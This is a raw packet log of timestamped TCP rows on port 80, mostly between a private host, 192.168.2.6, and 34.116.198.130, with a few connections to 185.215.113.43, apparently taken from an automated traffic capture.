Nov 23, 2024 13:28:25.254729033 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.256340027 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.256546021 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.256587029 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.258968115 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.259100914 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.259143114 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.293900967 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.293912888 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.293950081 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.298604965 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.298726082 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.298768044 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.300326109 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.300458908 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.300499916 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.303786993 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.303889036 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.303925991 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.307208061 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.358294964 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.401221991 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.401278973 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.401318073 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.402822018 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.402925968 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.402961016 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.427159071 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.427319050 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.427357912 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.428855896 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.428955078 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.428996086 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.432374954 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.433346987 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.433387041 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.433453083 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.436846018 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.436887026 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.436892986 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.486282110 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.505007029 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.505103111 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.505152941 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.506675005 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.506803989 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.506844044 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.510077953 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.547564983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.547609091 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.547629118 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.549209118 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.549257994 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.590404034 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.590620995 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.590672970 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.592047930 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.592216969 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.592262983 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.611476898 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.611598969 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.611648083 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.637520075 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.637572050 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.637629032 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.715239048 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.715379953 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.715437889 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.718051910 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.718179941 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.718220949 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.719794989 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.719877005 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.719922066 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.757817984 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.757859945 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.757898092 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.802046061 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.802141905 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.802191973 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.803730965 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.822285891 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.822452068 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.823479891 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.876899004 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.929743052 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.929763079 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.929815054 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.931427002 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.931535959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.931602955 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.933939934 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.934031963 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.934111118 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:25.937369108 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:25.986258984 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.015474081 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.015594959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.015753031 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.017158031 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.017246008 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.017328024 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.032514095 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.032567024 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.032722950 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.057933092 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.057979107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.058125019 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.059614897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.100917101 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.100980043 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.101016998 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.102642059 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.102693081 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.102725983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.140026093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.140079975 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.140132904 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.143589020 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.143662930 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.143698931 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.145327091 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.145450115 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.145504951 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.147821903 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.148013115 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.148060083 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.151386023 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.153872013 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.158818007 CET	49765	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:26.159116983 CET	49771	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:26.226022959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.226037025 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.226094961 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.244800091 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.244895935 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.245011091 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.246521950 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.246593952 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.246699095 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.249980927 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.250082970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.250154972 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.253388882 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.278594971 CET	80	49771	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:26.278681040 CET	49771	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:26.278719902 CET	80	49765	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:26.278789043 CET	49765	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:26.278942108 CET	49771	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:26.286869049 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.286933899 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.286978006 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.288552999 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.288602114 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.350377083 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.350408077 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.350455999 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.398813963 CET	80	49771	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:26.413017035 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.413100958 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.413311005 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.414663076 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.455025911 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.455367088 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.455459118 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.457660913 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.457706928 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.498588085 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.498606920 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.498650074 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.499533892 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.499591112 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.499696016 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.501631021 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.501679897 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.552340031 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.552481890 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.552536011 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.553018093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.595649958 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.625061989 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.625153065 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.625346899 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.626694918 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.627279997 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.627341032 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.627386093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.630701065 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.630753040 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.707499027 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.707552910 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.707782984 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.710242987 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.710350037 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.710422993 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.712392092 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.752665997 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.752753973 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.752780914 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.754340887 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.754389048 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.761456966 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.761528969 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.761642933 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.795351028 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.795454025 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.795532942 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.796979904 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.835325003 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.835398912 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.835414886 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.837558031 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.837630033 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.837683916 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.839760065 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.839832067 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.839833021 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.842214108 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.842278957 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.842324018 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.845622063 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.845671892 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.880074978 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.880213976 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.880261898 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.881762028 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.881853104 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.881890059 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.917884111 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.917927980 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.917970896 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.922147989 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.922255039 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.922300100 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.923887014 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.923976898 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.924015045 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.926439047 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.926651001 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.926750898 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.929874897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.964174032 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.964235067 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.964241028 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.965176105 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.965218067 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:26.965241909 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.968583107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:26.968640089 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.005688906 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.005748034 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.005791903 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.006630898 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.006736994 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.006773949 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.010078907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.010181904 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.010222912 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.012537956 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.012691975 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.012738943 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.015966892 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.050893068 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.050952911 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.050981998 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.052164078 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.052206039 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.052229881 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.053874969 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.053920984 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.053992987 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.056451082 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.056505919 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.090779066 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.090864897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.090907097 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.092413902 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.092966080 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.093008041 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.093077898 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.096558094 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.096606016 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.128297091 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.128353119 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.128392935 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.132437944 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.132543087 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.132586002 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.133450985 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.133569956 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.133606911 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.137053967 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.137151957 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.137191057 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.140300035 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.141458988 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.141504049 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.141541004 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.144792080 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.144831896 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.175357103 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.175457001 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.175498962 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.177071095 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.177146912 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.177203894 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.179563999 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.179666996 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.179708004 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.182951927 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.215961933 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.215990067 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.216010094 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.267515898 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.301182032 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.301220894 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.301261902 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.303180933 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.303263903 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.303304911 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.305542946 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.305639982 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.305681944 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.308218956 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.308294058 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.308336973 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.311666965 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.311778069 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.311817884 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.315121889 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.315222025 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.315264940 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.318398952 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.318516970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.318582058 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.321695089 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.321866035 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.321908951 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.325001955 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.325092077 CET	80	49758	34.116.198.130	192.168.2.6
